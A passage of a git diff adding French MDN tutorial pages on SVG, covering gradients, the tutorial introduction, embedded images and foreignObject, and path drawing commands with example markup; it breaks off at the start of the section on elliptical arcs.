{{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}

+ +

Définir le dégradé

+ +

À l'intérieur du dégradé, il y a divers noeuds {{SVGElement('stop')}}. Ces noeuds disent au dégradé quelles couleurs doivent être affichées à quelles positions, en spécifiant les attributs offset pour la position et stop-color pour la couleur. On peut également le définir avec CSS. Les deux méthodes ont été utilisées dans l'exemple pour le démontrer.

+ +

Dans cet exemple, on dit au dégradé de commencer en rouge, de passer au noir transparent au centre et de terminer par la couleur bleue. Vous pouvez ajouter autant de couleurs que vous le souhaitez, pour créer un dégradé aussi beau ou aussi laid que vous le souhaitez, mais les positions (offset) doivent toujours être incrementées de 0% (ou 0) à 100% (ou 1). Si des valeurs sont dupliquées, la couleur définie la plus en bas de la définition sera utilisée.

+ +

Aussi, comme pour le remplissage et le contour, vous pouvez spécifier un attribut stop-opacity pour définir l'opacité de la couleur à cette position (encore une fois, à partir de FF3 vous pouvez utiliser les valeurs rgba pour le même effet).

+ +
 <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/>
+
+ +

Utiliser le dégradé

+ +

Pour utiliser le dégradé, vous devez le référencer avec l'attribut fill ou stroke d'un objet. On référence un élément SVG de la même manière que l'on référence des éléments en CSS, via url(). Dans notre cas, l'url est juste une référence vers le dégradé avec l'ID "Gradient". Pour le référencer, on définit fill="url(#Gradient)", et voilà! Notre objet est maintenant multi-coloré. Vous pouvez faire de même avec stroke.

+ +

Orientation du dégradé

+ +

L'élément <linearGradient> peut également prendre différents attributs pour spécifier la taille et l'apparence du dégradé. L'orientation du dégradé est contrôlé par deux points, désignés par les attributs x1, x2, y1, et y2. Ces attributs définissent la ligne le long de laquelle le dégradé est tracé. Par défaut, le dégradé est horizontal, mais il peut être orienté autrement grâce à ces attributs. "Gradient2" dans l'exemple précédent crée un dégradé vertical.

+ +
 <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1">
+
+ +

xlink:href

+ +

Vous pouvez également utiliser l'attribut xlink:href sur les dégradés. Quand il est utilisé, les attributs et stops d'un dégradé peuvent être réutilisé sur un autre. Ainsi, dans l'exemple précédent, on aurait pu ne pas redéfinir tous les stops dans Gradient2, comme ceci:

+ +
 <linearGradient id="Gradient1">
+   <stop id="stop1" offset="0%"/>
+   <stop id="stop2" offset="50%"/>
+   <stop id="stop3" offset="100%"/>
+ </linearGradient>
+ <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"
+    xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#Gradient1"/>
+
+ +

Ici, le namespace xlink est inclut directement sur le noeud, bien qu'il soit généralement définit en haut du document, comme dans l'exemple avec les images

+ +

Dégradé Radial

+ +

Les dégradés radiaux (radial gradient en anglais) sont similaires aux dégradés linéaires à la différence près qu'ils irradient autour d'un point. Pour en créer un, on crée un élément {{SVGElement('radialGradient')}} dans la section de définitions du document SVG.

+ +

Exemple

+ +
<svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg">
+  <defs>
+      <radialGradient id="RadialGradient1">
+        <stop offset="0%" stop-color="red"/>
+        <stop offset="100%" stop-color="blue"/>
+      </radialGradient>
+      <radialGradient id="RadialGradient2" cx="0.25" cy="0.25" r="0.25">
+        <stop offset="0%" stop-color="red"/>
+        <stop offset="100%" stop-color="blue"/>
+      </radialGradient>
+  </defs>
+
+  <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#RadialGradient1)"/>
+  <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#RadialGradient2)"/>
+</svg>
+ +

{{ EmbedLiveSample('Exemple_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}

+ +

Définir le dégradé

+ +

Les stops utilisés ici sont les mêmes que précédemment, la différence étant que désormais l'objet sera rouge en son centre, et que la couleur changera progressivement vers le bleu en approchant des contours. Comme pour les dégradés linéaires, le noeud <radialGradient> peut prendre différents attributs pour décrire sa position et son orientation. Cependant, la définition est un peu plus complexe. Le dégradé linéaire est défini par deux points, qui déterminent où sont situé le centre et les bords:

+ +
    +
  • Le premier point définit le cercle où le dégradé se termine. Il requiert un point central, spécifié par les attributs cx et cy, et un rayon, r. Définir ces trois attributs vous permettra de déplacer le dégradé et de changer sa taille, comme illusté dans le deuxième rect de notre exemple.
    • +
  • Le second point est appelé le point focal et il est définit par les attributs fx et fy. Tandis que le premier point décrit où sont les bords du dégradé, le point focal décrit où est son centre. C'est plus facile à voir avec un exemple (voir la section qui suit).
    • +
+ +

Centre et point focal

+ +
<svg width="120" height="120" version="1.1"
+  xmlns="http://www.w3.org/2000/svg">
+  <defs>
+      <radialGradient id="Gradient"
+            cx="0.5" cy="0.5" r="0.5" fx="0.25" fy="0.25">
+        <stop offset="0%" stop-color="red"/>
+        <stop offset="100%" stop-color="blue"/>
+      </radialGradient>
+  </defs>
+
+  <rect x="10" y="10" rx="15" ry="15" width="100" height="100"
+        fill="url(#Gradient)" stroke="black" stroke-width="2"/>
+
+  <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/>
+  <circle cx="35" cy="35" r="2" fill="white" stroke="white"/>
+  <circle cx="60" cy="60" r="2" fill="white" stroke="white"/>
+  <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text>
+  <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text>
+
+</svg>
+ +

{{ EmbedLiveSample('Centre_et_point_focal','120','120','/files/727/SVG_Radial_Grandient_Focus_Example.png') }}

+ +

Si le point focal est déplacé en dehors du cercle décrit précédemment, il est impossible que le dégradé s'affiche correctement, le point focal sera donc supposé être à l'intérieur du bord du cercle. Si le point focal n'est pas du tout indiqué, il sera supposé être au même endroit que le point central.

+ +

Attributs additionnels

+ +

Les dégradés linéaires et radiaux peuvent également prendre quelques autres attributs pour décrire les transformations qu'ils peuvent subir.

+ +

spreadMethod

+ +

Cet attribut contrôle ce qu'il arrive quand le dégradé arrive à sa fin, mais que l'objet n'est pas encore rempli. Trois valeurs sont possibles: "pad", "reflect", ou "repeat".

+ +
    +
  • "pad" est la valeur par défaut. Quand un dégradé arrive à sa fin, la dernière couleur est utilisée pour remplir le reste de l'objet.
    • +
  • "reflect" a pour effet de poursuivre le dégradé, mais en sens inverse: de la dernière couleur (offset 100%) à la première (offset 0%), puis de nouveau de la première à la dernière, etc.
    • +
  • "repeat" poursuit également le dégradé, mais au lieu de revenir en arrière, il revient au début et est exécuté de nouveau.
    • +
+ +
<svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg">
+  <defs>
+      <!-- pad -->
+      <radialGradient id="GradientPad"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="pad">
+        <stop offset="0%" stop-color="red"/>
+        <stop offset="100%" stop-color="blue"/>
+      </radialGradient>
+
+      <!-- repeat -->
+      <radialGradient id="GradientRepeat"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="repeat">
+        <stop offset="0%" stop-color="red"/>
+        <stop offset="100%" stop-color="blue"/>
+      </radialGradient>
+
+      <!-- reflect -->
+      <radialGradient id="GradientReflect"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="reflect">
+        <stop offset="0%" stop-color="red"/>
+        <stop offset="100%" stop-color="blue"/>
+      </radialGradient>
+  </defs>
+
+  <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#GradientPad)"/>
+  <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientRepeat)"/>
+  <rect x="120" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientReflect)"/>
+
+  <text x="15" y="30" fill="white" font-family="sans-serif" font-size="12pt">Pad</text>
+  <text x="15" y="140" fill="white" font-family="sans-serif" font-size="12pt">Repeat</text>
+  <text x="125" y="140" fill="white" font-family="sans-serif" font-size="12pt">Reflect</text>
+
+</svg>
+ +

{{ EmbedLiveSample('spreadMethod','220','220','/files/728/SVG_SpreadMethod_Example.png') }}

+ +

gradientUnits

+ +

Les deux types de dégradés ont également un attribut gradientUnits, qui indique l'unité utilisée pour décrire la taille et l'orientation du dégradé. Deux valeurs sont posibles: userSpaceOnUse ou objectBoundingBox.

+ +
    +
  • objectBoundingBox est la valeur par défaut, c'est ce qu'on a vu jusqu'à présent. Le dégradé est automatiquement redimensionné à la taille de l'objet sur lequel il est appliqué, vous n'avez donc qu'à spécifier les coordonnées de zéro à un (ou de 0% à 100%), et les coordonnées sont automatiquement redimensionnée à la taille de l'objet.
    • +
  • userSpaceOnUse indique que les valeurs sont absolues. Vous devez donc savoir où se situe l'objet, et placer le dégradé à la même position. Le dégradé radial précédent devrait être ré-écrit comme suit: + 
    <radialGradient id="Gradient"
+                cx="60" cy="60" r="50"
+                fx="35" fy="35"
+                gradientUnits="userSpaceOnUse">
+
    +
    • +
+ +

Il y a quelques subtilités concernant l'utilisation de gradientUnits="objectBoundingBox" quand les limites de l'objet ne sont pas carrées, mais elles sont assez complexes et nous attendrons quelqu'un de plus au courant pour les expliquer.

+ +

gradientTransform

+ +

Vous pouvez également appliquer une transformation au gradient en utilisant l'attribut gradientTransform, mais puisque nous n'avons pas encore introduit les transformations, nous le laisserons de côté pour l'instant.

+ +

 

+ +

{{ PreviousNext("Web/SVG/Tutoriel/Fills_and_Strokes", "Web/SVG/Tutoriel/Motifs") }}

+ +

 

diff --git a/files/fr/web/svg/tutorial/index.html b/files/fr/web/svg/tutorial/index.html new file mode 100644 index 0000000000..14275fcdd8 --- /dev/null +++ b/files/fr/web/svg/tutorial/index.html @@ -0,0 +1,36 @@ +--- +title: Tutoriel SVG +slug: Web/SVG/Tutoriel +tags: + - NeedsContent + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial +--- +

SVG, pour Scalable Vector Graphics (ou encore Graphismes vectoriels redimensionnables), est un langage basé sur le XML du W3C qui permet de définir des éléments graphiques avec des balises. Ce langage est plus ou moins implémenté dans Firefox, Opera, les navigateurs à base de Webkit, Internet Explorer et les autres navigateurs Web.

+ +

Ce tutoriel a pour but d'expliquer les mécanismes internes de SVG et regorge de détails techniques. Si vous souhaitez juste dessiner de belles images, vous trouverez plus facilement votre bonheur sur la page de documentation d'Inkscape. Le W3C fournit également une bonne introduction au format SVG, en anglais malheureusement.

+ +
Ce tutoriel est en cours de développement et de traduction. Si vous le pouvez, n'hésitez pas à y mettre votre grain de sel et écrire / traduire un paragraphe ou deux. Des points supplémentaires sont prévus pour ceux qui écriront des pages entières, à réclamer auprès de Julia. Merci d'avance !
+ + + +

{{ languages( { "en": "en/SVG/Tutorial", "ja": "ja/SVG/Tutorial", "pl": "pl/SVG/Przewodnik" } ) }}

diff --git a/files/fr/web/svg/tutorial/introduction/index.html b/files/fr/web/svg/tutorial/introduction/index.html new file mode 100644 index 0000000000..7c38618958 --- /dev/null +++ b/files/fr/web/svg/tutorial/introduction/index.html @@ -0,0 +1,54 @@ +--- +title: Introduction +slug: Web/SVG/Tutoriel/Introduction +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Introduction +--- +

{{ PreviousNext("SVG/Tutoriel", "SVG/Tutoriel/Premiers_pas") }}

+ +

lion_svg.pngSVG est un langage XML, assez similaire au XHTML. Ce langage peut être utilisé pour dessiner des choses complexes, comme le petit lion sur la gauche. Je l'ai dit en présentation de ce tutoriel, le SVG est un langage vectoriel. En gros, cela veut dire que l'image peut être transformée, rétrécie, agrandie, bref, manipulée, sans perte de qualité.

+ +

La seconde particularité est que vous allez pouvoir lire le code. Stop ! Lire une image ? Et oui, cela vient du fait que SVG dérive du XML. Nous verrons dans ce tutoriel que le code SVG reste (la plupart du temps) humainement lisible. C'est aussi sympa car on va pouvoir le transformer en arbre DOM et ainsi le manipuler, avec du CSS et / ou du Javascript.

+ +

SVG est apparu en 1999, après que plusieurs formats concurrents aient été soumis au W3C  sans succès. SVG est pris en charge par tous les principaux navigateurs. Un inconvénient est que le chargement SVG peut être lent. En contrepartie, l'avantage c'est de disposer du DOM et de ne pas nécessiter d'extensions tierces. Choisir d'utiliser ou non SVG dépend souvent des cas d'utilisation.

+ +

Les ingrédients de base

+ +

HTML founit des éléments pour définir des titres, paragraphes, tableaux, etc. De la même manière, SVG fournit des éléments pour dessiner des cercles, des rectangles, des courbes simples ou complexes, etc.

+ +

Un simple document SVG se compose de l'élément racine {{ SVGElement('svg') }}, à l'intérieur de laquelle vont être placées divers éléments. L'élément {{ SVGElement('g') }} permet de regrouper plusieurs éléments ensemble, un peu à la manière d'un div en HTML. À partir de là, l'image SVG peut devenir aussi complexe qu'on le veut.

+ +

SVG prend en charge les dégradés, les rotations, les effets de filtre, les animations, l'interactivité avec JavaScript... Mais toutes ces fonctionnalités reposent sur un petit nombre d'éléments de base.

+ +

Les bons outils

+ +

Il y a un certain nombre de logiciels de dessin disponibles qui utilisent SVG comme format natif. Certains, comme Inkscape, sont libres et gratuits. Néanmoins, ce tutoriel se basera sur le XML et un simple éditeur de texte. Le but est d'enseigner les mécanismes de SVG à ceux qui veulent les comprendre, et la meilleure façon de le faire est de mettre les mains dans le cambouis avec un peu de balisage.

+ +

Tous les visionneurs SVG ne sont pas égaux, il est donc probable que quelque chose écrit pour une application ne s'affiche pas exctement de la même manière dans une autre, simplement parce qu'ils prennent en charge différentes spécifications SVG, CSS ou JavaScript.

+ +

Avant de commencer, vous devez avoir une compréhension basique du XML ou d'un autre langage de balisage comme le HTML. Si vous n'êtes pas à l'aise avec le XML, voici quelques règles à garder en-tête :

+ +
    +
  • Les éléments et attributs SVG sont sensibles à la casse (contrairement au HTML et doivent donc tous être entrés avec la casse indiquée ici).
    • +
  • Les valeurs des attributs en SVG doivent être placées entre guillemets même si ce sont des nombres.
    • +
+ +

La spécification du langage SVG (en) est énorme. Ce tutoriel a pour but d'en traiter juste assez pour pouvoir commencer. Une fois que vous serez à l'aise avec les bases du SVG, vous devriez être capables d'utiliser les références d'éléments et les références d'interfaces pour découvrir tout ce que vous aurez besoin de connaître.

+ +

Les versions SVG

+ +

La version "complète" la plus récente de SVG est la 1.1 (devenue recommendation en 2003). Elle s'appuie sur SVG 1.0 mais ajoute davantage de modularisation pour faciliter l'implémentation. La seconde édition de SVG 1.1, est devenue recommendation en 2011.

+ +

SVG 1.2 devait être la prochaine version majeure de SVG mais celle-ci a été abandonnée pour le prochain SVG 2.0, qui est actuellement en cours de développement. SVG 2.0 suit une approche similaire à CSS3: il divise les composants en plusieurs spécifications librement couplées.

+ +

Outre les recommendations complètes de SVG, le groupe de travail du W3C a introduit SVG Tiny et SVG basic en 2003. Ces deux profils d'adressent principalement aux mobiles. SVG Tiny devrait permettre d'obtenir des graphiques simples pour les périphériques qui ont de faibles capacités. SVG Basic, lui, offre de nombreuses fonctionnalités de SVG, mais n'inclut pas celles qui sont difficiles à implémenter ou lourdes à restituer (comme les animations). En 2008, SVG Tiny 1.2 est devenu une recommendation du W3C.

+ +

Une spécification SVG Print était prévue, qui ajouterait la prise en charge de plusieurs pages et une gestion améliorée des couleurs. Ce travail a été interrompu.

+ +

{{ PreviousNext("SVG/Tutoriel", "SVG/Tutoriel/Premiers_pas") }}

+ +

Interwiki Languages Links

+ +

{{ languages( { "en": "en/SVG/Tutorial/Introduction", "ja": "ja/SVG/Tutorial/Introduction" } ) }}

diff --git a/files/fr/web/svg/tutorial/other_content_in_svg/index.html b/files/fr/web/svg/tutorial/other_content_in_svg/index.html new file mode 100644 index 0000000000..ecaf0e7d60 --- /dev/null +++ b/files/fr/web/svg/tutorial/other_content_in_svg/index.html @@ -0,0 +1,36 @@ +--- +title: Contenu embarqué dans le SVG +slug: Web/SVG/Tutoriel/Contenu_embarque_SVG +translation_of: Web/SVG/Tutorial/Other_content_in_SVG +--- +

{{ PreviousNext("Web/SVG/Tutoriel/Découpages_et_masquages", "Web/SVG/Tutoriel/filtres") }}

+ +

En plus des formes graphiques simples comme les rectangles et les cercles, le format SVG permet d'ajouter d'autres types de contenu aux images.

+ +

Embarquer des images

+ +

De la même façon qu'il est possible d'utiliser la balise img en HTML, le format SVG possède un élément image qui a la même utilité. Vous pouvez l'utiliser pour insérer des images bitmap ou vectorielles dans votre image SVG. La spécification définit que les formats PNG, JPEG et SVG au moins doivent être supportés.

+ +

L'image embarquée devient un élément SVG normal. Cela implique que vous pouvez utiliser le découpage, les masques, les filtres, les rotations et toute la panoplie des outils svg sur ce contenu embarqué :

+ +
<svg version="1.1"
+     xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
+     width="200" height="200">
+  <image x="90" y="-65" width="128" height="146" transform="rotate(45)"
+     xlink:href="https://developer.mozilla.org/media/img/mdn-logo.png"/>
+</svg>
+
+ +

imagedemo.png

+ +

Embarquer du contenu XML quelconque

+ +

Étant donné que le SVG est un document XML, il est toujours possible d'adjoindre un contenu XML quelconque n'importe où dans le document. Mais il n'y a évidemment aucun moyen de savoir comment l'élément SVG encadrant votre contenu réagira à ce qui aura été inséré. En fait, un lecteur SVG correct ne réagira d'aucune façon particulière et ignorera purement et simplement ce contenu. Si la spécification ajoute l'élément SVG foreignObject, son utilité est essentiellement d'être une coquille pour d'autres balises et de permettre d'adjoindre des attributs de style (comme par exemple la largeur et la hauteur de l'objet embarqué afin de définir la place que celui-ci occupera).

+ +

L'élément foreignObject est donc la bonne méthode pour embarquer du XHTML dans du SVG. Si le SVG doit contenir du texte de longueur conséquente, la disposition HTML est bien plus pratique et utilisable que l'élément SVG text. Une autre utilisation bien pratique de cet élément est l'adjonction de formules avec MathML. Pour des applications scientifiques utilisant le SVG, c'est un bon moyen de permettre la communication entre ces deux univers.

+ +
Note: Gardez à l'esprit que le contenu du foreignObject doit pouvoir être analysé et pris en compte par votre lecteur SVG. Il y a peu de chances qu'un lecteur SVG autonome soit capable de restituer du contenu HTML or MathML.
+ +

Etant donné que le foreignObject est un élément SVG comme un autre, vous pouvez, comme dans le case de l'élément image, utiliser toute la panoplie des attributs SVG qui pourrait s'appliquer au contenu embarqué.

+ +

{{ PreviousNext("Web/SVG/Tutoriel/Découpages_et_masquages", "Web/SVG/Tutoriel/filtres") }}

diff --git a/files/fr/web/svg/tutorial/paths/index.html b/files/fr/web/svg/tutorial/paths/index.html new file mode 100644 index 0000000000..2b73ee2682 --- /dev/null +++ b/files/fr/web/svg/tutorial/paths/index.html @@ -0,0 +1,334 @@ +--- +title: Paths +slug: Web/SVG/Tutoriel/Paths +tags: + - SVG + - 'SVG:Tutoriel' +translation_of: Web/SVG/Tutorial/Paths +--- +

{{ PreviousNext("Web/SVG/Tutoriel/Formes_de_base", "Web/SVG/Tutoriel/Fills_and_Strokes") }}

+ +

L’élément <path> (chemin en français) est le plus versatile des éléments de la bibliothèque SVG parmi les formes basiques. Vous pouvez l’utiliser pour créer des lignes, des courbes, des arcs et autres.

+ +

Les chemins créent des formes en combinant plusieurs lignes droites ou courbes. Les formes composées uniquement de lignes droites peuvent être crées avec des lignes brisées (polylines). Bien que les lignes brisées et les chemins peuvent tout deux créer des formes d’apparence similaire, les lignes brisées nécessitent un grand nombre de petites lignes pour simuler des courbes, et qui ne s’adaptent pas bien aux grandes tailles. Une bonne compréhension des chemins est importante pour dessiner en SVG. Bien qu’il ne soit pas recommandé d'éditer des chemins complexes avec un éditeur XML ou texte (on utilisera plutôt un éditeur SVG tel que Inkscape ou Adobe Illustrator), comprendre comment un chemin s'écrit vous permettra éventuellement d’identifier et de corriger des erreurs d’affichage dans un SVG.

+ +

La forme d’un élément path est définie par son attribut {{ SVGAttr("d") }}. Celui-ci prend pour valeur une série de commandes suivi de paramètres utilisés par ces commandes.

+ +

Chacune des commandes est instanciée par une lettre spécifique. Par exemple, pour se positionner aux coordonnées (10, 10), on utilise la commande M (pour MoveTo, « aller à ») suivit des coordonées: "M 10 10". Quand l’interpréteur rencontre une lettre, il comprend que vous invoquez une commande, et les nombres qui suivent sont les paramètres de la commande.

+ +

De plus, toutes les commandes se présentent sous deux formes: une lettre majuscule spécifie des coordonnées absolues dans la page, une lettre minuscule spécifie des coordonées relatives (par exemple, « aller à 10px vers le haut et 7px vers la gauche depuis le point précédent »).

+ +

Les coordonnées dans l’attribut d sont toujours sans unité et par conséquent dans le système de coordonnées utilisateur. Par la suite, nous apprendrons comment les chemins peuvent être transformés pour répondre à d’autres besoins.

+ +

Commandes pour les lignes

+ +

Il existe cinq commandes pour tracer des lignes avec un élément <path>. Ces commandes permettent de tracer une ligne droite entre deux points.

+ +

MoveTo

+ +

La première commande, « aller à », invoquée avec M (MoveTo), a été décrite ci-dessus. Elle prend en paramètres les coordonnées x et y où se rendre. Aucun trait n’est dessiné, le curseur est simplement déplacé dans la page. La commande « aller à » apparaît au début d’un chemin pour spécifier à quel endroit le dessin doit commencer. Par exemple :

+ +
M x y
+
+ +

ou

+ +
m dx dy
+ +

Dans l’exemple suivant, on se place au point (10, 10). Notez cependant qu'à ce stade rien n'est dessiné, on a manuellement ajouté un cercle pour indiquer la position:

+ +

+ +
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
+  <path d="M10 10"/>
+
+  <!-- Indique la position -->
+  <circle cx="10" cy="10" r="2" fill="red"/>
+</svg>
+ +

LineTo, Horizontal LineTo, Vertical LineTo

+ +

Il y a trois commandes qui dessinent des lignes. La plus générique est la commande « ligne vers », invoquée avec L (LineTo). L prend deux paramètres, les coordonnées x et y, et dessine une ligne depuis la position actuelle vers la nouvelle position.

+ +
L x y (ou l dx dy)
+
+ +

Il existe deux formes abrégées pour dessiner des lignes horizontales ou verticales. H (Horizontal LineTo) dessine une ligne horizontale, et V (Vertical LineTo) dessine une ligne verticale. Ces deux commandes ne prennent qu’un seul argument car elles ne se déplacent que le long d’une direction.

+ +
H x (ou h dx)
+V y (ou v dy)
+
+ +

Afin de commencer facilement, nous allons dessiner une forme simple, un rectangle (qu'on aurait aussi pu dessiner avec un élément <rect>). Il est composé uniquement de lignes horizontales et verticales :

+ +

+ +
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
+  <path d="M10 10 H 90 V 90 H 10 L 10 10"/>
+
+  <!-- Indique les points -->
+  <circle cx="10" cy="10" r="2" fill="red"/>
+  <circle cx="90" cy="90" r="2" fill="red"/>
+  <circle cx="90" cy="10" r="2" fill="red"/>
+  <circle cx="10" cy="90" r="2" fill="red"/>
+</svg>
+ +

ClosePath

+ +

On aurait pu raccourcir un peu la déclaration de l'exemple ci-dessus en utilisant la commande « fermer le chemin », invoquée avec Z (ClosePath). Cette commande dessine une ligne droite entre la position actuelle et le premier point du chemin. Elle est souvent placée à la fin du path, mais pas toujours. Il n’y a pas de différence entre la commande en majuscule et en minuscule.

+ +
Z (ou z)
+
+ +

Ainsi, notre chemin précédent peut se raccourcir comme ceci:

+ +
<path d="M10 10 H 90 V 90 H 10 Z" fill="transparent" stroke="black"/>
+
+ +

Commandes relatives

+ +

On aurait également pu utiliser des commandes relatives pour dessiner la même image.

+ +

Les commandes relatives sont invoquées en utilisant des lettres minuscules. Plutôt que de déplacer le curseur vers des coordonnées absolues, elles le déplacent relativement à sa dernière position. Par exemple, puisque notre boîte est de dimension 80x80, l’élement path aurait pu être écrit:

+ +
<path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/>
+
+ +

Le chemin va se positionner au point (10, 10), se déplacer horizontalement de 80 points vers la droite, puis de 80 points vers le bas, de 80 points vers la gauche, et enfin revenir à son point de départ.

+ +

Dans ces exemples, il serait probablement plus simple d’utiliser un élément <polygon> ou <polyline>. Cependant, les chemins sont si couramment utilisés en dessin SVG qu'un développeur peut se sentir plus à l’aise avec eux. Il n’y a pas de réel avantage ou inconvénient à utiliser l’un ou l’autre.

+ +

Commandes pour les courbes

+ +

Il existe trois commandes différentes pour créer des courbes. Deux d’entre elles sont des courbes de Bézier, et la troisième est un « arc » ou section de cercle. Il se peut que vous ayez déjà acquis une expérience pratique avec les courbes de Bézier en utilisant les outils de chemins avec Inkscape, Illustrator ou Photoshop. Pour une description complète des concepts mathématiques sous-jacents, vous pouvez consulter la page Wikipedia Courbe de Bézier.

+ +

Il existe une infinité de courbes de Bézier, mais seulement deux des plus simples d’entre elles sont disponibles dans les éléments path: l’une cubique, invoquée avec C, et l’autre quadratique, invoquée avec Q.

+ +

CurveTo

+ +

La courbe de Bézier cubique, C (CurveTo), est la forme de courbe Bézier la plus complexe. Ce type de courbe nécessite deux points de contrôle. Ainsi, pour créer une courbe de Bézier cubique, vous devez spécifier trois paires de coordonnées.

+ +
C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy)
+
+ +

Les deux premières paires de coordonnées sont les points de contrôle: le point de contrôle pour le début de la courbe est (x1, y1), et (x2, y2) est celui de la fin de la courbe. La dernière paire de coordonnées (x, y) est l’endroit où vous voulez que la ligne se termine.

+ +

Les points de contrôle décrivent, pour faire simple, la pente de la courbe pour le point de départ et pour le point d'arrivée. La fonction Bézier crée ensuite une courbe lisse faisant le lien entre la pente que vous avez établie au début de votre ligne, et celle à l’autre extrémité.

+ +

Cubic Bézier Curves with grid

+ +
<svg width="190" height="160" xmlns="http://www.w3.org/2000/svg">
+  <path d="M10 10 C 20 20, 40 20, 50 10" stroke="black" fill="transparent"/>
+  <path d="M70 10 C 70 20, 120 20, 120 10" stroke="black" fill="transparent"/>
+  <path d="M130 10 C 120 20, 180 20, 170 10" stroke="black" fill="transparent"/>
+  <path d="M10 60 C 20 80, 40 80, 50 60" stroke="black" fill="transparent"/>
+  <path d="M70 60 C 70 80, 110 80, 110 60" stroke="black" fill="transparent"/>
+  <path d="M130 60 C 120 80, 180 80, 170 60" stroke="black" fill="transparent"/>
+  <path d="M10 110 C 20 140, 40 140, 50 110" stroke="black" fill="transparent"/>
+  <path d="M70 110 C 70 140, 110 140, 110 110" stroke="black" fill="transparent"/>
+  <path d="M130 110 C 120 140, 180 140, 170 110" stroke="black" fill="transparent"/>
+</svg>
+
+ +

L’exemple ci-dessus crée neuf courbes de Bézier cubiques. De gauche à droite, les points de contrôle sont de plus en plus espacés horizontalement. De haut en bas, ils sont de plus en plus éloignés des extrémités. La chose à remarquer ici est que la courbe commence dans la direction du premier point de contrôle, puis se courbe de manière à terminer le long de la direction du second point de contrôle.

+ +

Shorthand CurveTo

+ +

Vous pouvez lier ensemble plusieurs courbes de Bézier pour créer des formes harmonieuses étendues. Souvent, le point de contrôle d’un côté d’une extrémité sera une réflexion du point de contrôle utilisé de l’autre côté, afin de garder une pente constante. Dans ce cas, vous pouvez utiliser une version raccourcie de la courbe cubique, désignée par la commande S, ou s (Shorthand CuveTo).

+ +
S x2 y2, x y (ou s dx2 dy2, dx dy)
+
+ +

S dessine une courbe de Bézier cubique entre le point actuel et (x, y).

+ +
    +
  • Si elle suit une autre commande S ou C, le premier point de contrôle est calculé pour être le reflet du point de contrôle précédent.
    • +
  • Si la commande S ne suit pas une autre commande S ou C, la position actuelle du curseur est utilisée comme premier point de contrôle. Dans ce cas, le résultat est le même que ce que la commande Q aurait produit avec les mêmes paramètres.
    • +
+ +

(x2, y2) est le second point de contrôle.

+ +

Un exemple de cette syntaxe est montré ci-dessous. Dans la figure associée, les points de contrôle spécifiés sont indiqués en rouge, et le point de contrôle inféré, en bleu.

+ +

ShortCut_Cubic_Bezier_with_grid.png

+ +
<svg width="190" height="160" xmlns="http://www.w3.org/2000/svg">
+  <path d="M10 80 C 40 10, 65 10, 95 80 S 150 150, 180 80" stroke="black" fill="transparent"/>
+</svg>
+ +

Quadratic Bezier CurveTo

+ +

L’autre type de courbe, la courbe de Bézier quadratique, est invoquée avec Q (Quadratic Bezier CurveTo). Elle est plus simple que la version cubique puisqu'elle ne nécessite qu'un point de contrôle. Le point de contrôle détermine la pente de la courbe à la fois au point de départ et au point d’arrivée.

+ +
Q x1 y1, x y (ou q dx1 dy1, dx dy)
+
+ +

(x1 y1) est la position du point de contrôle, et (x y) est le point d’arrivée de la courbe.

+ +

Quadratic Bézier with grid

+ +
<svg width="190" height="160" xmlns="http://www.w3.org/2000/svg">
+  <path d="M10 80 Q 95 10 180 80" stroke="black" fill="transparent"/>
+</svg>
+ +

Shorthand Quadratic Bezier CurveTo

+ +

Comme pour la courbe cubique, il existe un raccourci pour lier ensemble plusieurs courbes quadratiques, invoqué avec T (Shorthand Quadratic Bezier CuveTo).

+ +
T x y (ou t dx dy)
+
+ +

Ce raccourci examine le précédent point de contrôle utilisé et en infère un nouveau à partir de celui-ci. Cela signifie qu’après un premier point de contrôle, vous pouvez créer des formes assez complexes en spécifiant seulement les points d’extrémités.

+ +
+

Note: Ce raccourci fonctionne uniquement si la commande précédente est une commande Q ou T. Dans le cas contraire, le point de contrôle est considéré comme le même que le point précédent, et vous ne dessinerez que des lignes.

+
+ +

Shortcut_Quadratic_Bezier_with_grid.png

+ +
<svg width="190" height="160" xmlns="http://www.w3.org/2000/svg">
+  <path d="M10 80 Q 52.5 10, 95 80 T 180 80" stroke="black" fill="transparent"/>
+</svg>
+ +

Les deux courbes produisent des résultats similaires, bien que les courbes cubiques vous offrent une plus grande liberté dans l’apparence exacte que vous voulez donner à votre courbe. Le choix du type de courbe de Bézier à utiliser se fait au cas par cas, et dépend du nombre de symétries que présente votre ligne.

+ +

Elliptical Arc

+ +

Le dernier type de ligne courbe que vous pouvez créer avec SVG est l’arc, invoqué avec A (Elliptical Arc). Les arcs sont des sections de cercles ou d’ellipses.

+ +

